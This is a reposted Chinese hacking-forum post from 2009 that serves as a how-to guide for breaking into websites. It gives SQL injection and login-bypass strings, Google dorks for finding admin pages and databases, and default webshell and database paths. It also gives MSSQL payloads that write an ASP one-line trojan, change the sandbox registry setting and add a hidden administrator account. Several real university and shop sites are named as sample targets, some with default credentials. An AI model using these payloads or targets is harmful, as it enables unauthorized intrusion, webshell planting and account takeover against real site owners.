查看完整版本: 脚本入侵中利用的方法

孤风月影 2009-11-28 07:51

脚本入侵中利用的方法

1.上传漏洞[不多讲]
pS: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞了!
有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.
2.注入漏洞[不多讲]
pS:对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令:
http://注入网址;update admin set password='新MD5密码' where password='旧MD5密码'-- [admin为表名.]
3.旁注,也就是跨站.
我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点,就是一些服务器的绝对路径经过加密,这就看我们的本事了
这个支持,比较威的....
4.暴库:把二级目录中间的/换成%5c
EY:[url]http://www.ahttc.edu.cn/otherweb[/url] ... s.asp?BigClassName=职责范围&BigClassType=1
如果你能看到:'E:\ahttc040901\otherweb\dz\database\iXuEr_Studio.asa'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否 连接到文件存放的服务器。
这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行.
5.'or'='or'这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有:
'or''=' " or "a"="a ') or ('a'='a ") or ("a"="a or 1=1-- ' or 'a'='a
6.社会工程学。这个我们都知道吧。就是猜解。
EY:[url]http://www.neu.edu.cn/waishi/admin[/url]
admin waishi
7.写入ASP格式数据库。就是一句话木马[ ],常用在留言本.
EY:[url]http://www.ahsdxy.ah.edu.cn/ebook/db/ebook.asp[/url][这个就是ASP格式的数据库],再写入一句话木马
8.源码利用:一些网站用的都是网上下载的源码.有的站长很菜.什么也不改.
EY:[url]http://www.ahsdxy.ah.edu.cn/xiaoyoulu/index.asp[/url]
这个站用的是:杰出校友录,源码我下过了,
默认数据库/webshell路径:\database\liangu_data.mdb 后台管理:adm_login.asp 密码及用户名都是admin
9.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL.
/Databackup/dvbbs7.MDB
/bbs/Databackup/dvbbs7.MDB
/bbs/Data/dvbbs7.MDB
/data/dvbbs7.mdb
/bbs/diy.asp
/diy.asp
/bbs/cmd.asp
/bbs/cmd.exe
/bbs/s-u.exe
/bbs/servu.exe
工具:网站猎手 挖掘鸡
EY:[url]http://www.cl1999.com/bbs/Databackup/dvbbs7.MDB[/url]
10.查看目录法:人一些网站可以断开目录,可以方问目录。
EY:[url]http://www.ujs168.com/shop/admin/[/url]
[url]http://escolourfvl.com/babyfox/admin/%23bb%23dedsed2s/[/url]
这样我们可以找到数据库,下载不用我教吧
11.工具溢出:.asp?NewsID= /2j.asp?id=18 .asp?id=[这种方法可以取得大量的WEBSHELL]
12.搜索引擎利用:
(1).inurl:flasher_list.asp 默认数据库atabase/flash.mdb 后台/manager/
(2).找网站的管理后台地址:
site:xxxx.comintext:管理
site:xxxx.comintitle:管理 <关键字很多,自已找>
site:xxxx.cominurl:login
(3).查找access的数据库,mssql、mysql的连接文件
allinurl:bbsdata
filetype:mdbinurlatabase
filetype:incconn
inurlatafiletype:mdb
我主不做了。。自已做做吧。。
13.COOKIE诈骗:把自己的ID修改成管理员的,MD5密码也修改成他的,用桂林老兵工具可以修改COOKIE。这个我就不多讲了
14.利用常见的漏洞:如动网BBS
EY:[url]http://js1011.com/bbs/index.asp[/url]
可以先用vbbs权限提升工具,使自已成为前台管理员。
THEN,运用:动网固顶贴工具,找个固顶贴,再取得COOKIES,这个要你自已做。我们可以用WSockExpert取得Cookies/NC包
这个我就不做了,网上教程多的是,自已下个看看。
工具:dvbbs权限提升工具 动网固顶贴工具
15.还有一些老漏洞。如IIS3,4的查看源码,5的DELETE
CGI,PHP的一些老洞,我就不说了啊。。太老了。没有什么大用途。
**********************************************************
送给网站入侵正在入门的朋友们 [ 网站入侵通法]
花了一个多小时稍微整理了一下。很多地方还不完善。希望高手朋友不要见笑。以及多提提建议。谢谢。
一:注入类:
access数据库
<1>
首先猜解管理员密码:
手工猜解(当然,如果你有基础,这里就很简单。如果没学过,其实只要记下一些常用的语句就可以了。)
工具猜解。我建议用zwell的穿山甲,也就是pangolin..或者是NBSI。前者猜解速度非常强悍。而猜解的准确率两者都很好。
找出后台:
用明小子,啊D,等工具都可以找的。但有时候会找不到。为什么呢?建议用多线程后台扫描工具。里面的字典你可以从明小子等那些工具里综合起来。还有一点。平时检测网站的时候遇到一些你字典里没有的后台名称。要注意积累下来。
另外种方法找后台
当然就是googlehack了。
Admin site:xxx.com
管理 site:xxx.com
Site:xxx.com inurl:login
等等。这些靠自己构造。
<2>跨库查询
使用跨库查询有两个前提:
1:使用union查询必须知道前一个select里表的字段数
2:必须知道目标数据库的所在位置,绝对路径。
具体文章可以参照这里:
[url]http://user.qzone.qq.com/453217971/blog/1216735388[/url]
SQL网站渗透方法
MSSQL数据库:
1:SA权限
一般说来,无论谁拿到一个SA权限的注射点。都会很开心。
<1>直接执行net user等命令。
<2>可列目录但不能执行系统命令。
可以列出目录找出网站中可以利用的地方,比如ewebeditor,或者上传地址(试试是否有上传漏洞),等等。
或者找服务器下其他网站,然后入侵之。
如果无其他漏洞可以找到,那就利用备份得到一个webshell。
<3>无cmdshell
那就恢复之。详细请在论坛或者百度搜索相关文章。
<4>如果无法恢复cmdshell
也就是利用的sp_oacreate来执行。可以通过5次shift来登陆3389
还可以利用sp_makewebtask直接在web目录里写入一句话马
  %20">http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
还可以利用沙盒模式提权
EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user aloner$ aloner /add")');--
;Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators aloner$ /add")');--
如果上述方法仍然不行,那就猜解出后台帐户和密码,然后登陆后台。看看有没什么可以利用的。
2:db权限
Db权限可以列出网站目录,然后备份。用一句话连接得到webshell.
如果可以列目录,但无法备份,也同样可以利用找其他漏洞来入侵。毕竟整个网站都可以被你浏览了。
然后就是猜解出后台帐户和密码登陆后台了。
还有一种就是关于一篇db权限备份到启动项得到系统权限。
public权限
此权限很多人不会利用。
但是可以列出目录的。
Mysql数据库:
Root权限下可以直接利用loadfile读取网站的文件内容(网站的配置信息)
然后就是注入语句得到管理员密码,登陆后台
二:上传类
1:直接上传木马
2:修改后缀名修改。比如修改成.asa .cer等。
3:图片头欺骗
在木马代码前加上 gif89a,有时可以成功通过验证。
4:抓包nc上传
这个比较烦。这个可以大家自己从网上找一下相关的文章和教程。
5:直接(抓包)利用明小子或者其他工具上传木马
三:暴库:
详细请在论坛或者百度搜索相关文章。
现在暴库漏洞很少了。
四:cookies欺骗。
如果我们现在已经知道了XX站管理员的站号和MD5密码了 但是破解 不出来密码 (MD5是加密后的一个16位的密码)我们就可以用COOKIE诈骗来实现,把自己的ID修改成管理员的,MD5密码也修改成他的,有工具可以修改COOKIE 这样就答到了COOKIE诈骗的目的,系统以为你就是管理员了。
(这个漏洞在新云2.0里可以利用)
五:旁注
什么是旁注呢?
在我们入侵目标站点不成功的时候,我们可以通过入侵它服务器的其他网站,得到webshell,然后提权。
这点就需要你对提权有所认识的基础下了。
在上述几种方法中我把SQL注入讲的稍微详细些。因为毕竟现在SQL注入满天飞。其他几种漏洞不是太多的。但也不少。呵呵。
五:嗅探
当我们入侵目标网站无望,且旁注无望时,我们就需要入侵服务器所在的C段去得到一个服务器。
比如我们的目标是222.222.222.1。那我们就需要入侵222.222.222.2----222.222.222.255中的一台。然后去嗅探得到目标的21 80 1433 3306 3389等对应端口的相关密码。
六.社会工程学入侵。
whois查询。
得到管理员的姓名,邮箱,电话,等等之类信息
然后通过得到一些信息,可以利用。
比如我们得到xxx.com的管理员油箱是[email]aaa@163.com[/email]
我们就可以去google搜索:aaa@163.com或者是aaa.
以此类推。
入侵一个比较容易拿下的站。然后查询数据库得到此帐户注册时的密码。
可以试下是否是油箱的密码。甚至是这个网站的后台,ftp,等的密码。社会工程学太深了。我也没办法讲很多。
但我刚说的这点已经利用很大了。主要利用的还是个人心理。一般密码设置很多都会去用同一个密码的。
总结:
渗透这东西太复杂了。主要还是靠自己的灵活运用。以及对各种入侵方法的理解。无论什么东西。都是在你不断的尝试与探索下得到的。


本文转载[url]www.zbfun.com[/url]
页: [1]
查看完整版本: 脚本入侵中利用的方法